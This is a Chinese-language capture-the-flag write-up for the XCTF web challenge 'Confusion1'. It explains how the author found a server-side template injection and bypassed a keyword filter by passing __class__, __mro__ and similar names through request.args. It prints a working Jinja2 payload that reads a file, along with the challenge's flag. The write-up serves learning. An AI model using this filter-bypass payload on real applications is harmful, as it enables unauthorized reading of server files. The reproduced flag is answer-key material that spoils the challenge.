攻防世界-web-Confusion1

1. 题目描述

打开链接，如图

点击Login和Rigister，都报错

但是有提示

指出了flag所在的位置，题目中直接能获取到的信息暂时就这么些了

2. 思路分析

既然告诉了我们flag文件的位置，那么要读取到这个文件，要么是任意文件下载，要么是命令注入。这里没有文件下载的接口，也没看到有任何外部输入，尝试扫描下：

发现存在/cgi-sys相关的借口，但是访问时发现报错：

说明此路不通。

网上查找资料发现题目中图片就给出了提示，可能是SSTI，试一下：

发现确实存在SSTI，那么这道题的思路就明确了：

利用SSTI读取flag文件中的内容

3. 解题过程

既然存在SSTI，我们试试常用的SSTI方法

试了下class，subclass，mro，常用方法都被过滤掉了，看能否找到一个没有被过滤的

request没过滤，那么我们考虑通过request.args的方式进行绕过，将class等被过滤的字符串设置成参数，传递给request.args，比如想要获取class，使用{{""[request.args.a]}}?a=__class__

那么我们现在需要读取文件/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt

正常的SSTI应该是：

{{"".__class__.__mro__[2].__subclasses__[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt').read()}}

利用request.args进行绕过就变成了：

{{""[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?&a=__class__&b=__mro__&c=__subclasses__&d=read

使用该请求，成功获取flag

flag为cyberpeace{24bc59019e22a893305a7496e638526f}

4. 总结

这道题考查的是SSTI的绕过（这个考查点的识别需要一定的知识积累）。SSTI也是非常灵活的一种注入方式，绕过方式很多，request算是常见的一种绕过手段，正好积累下经验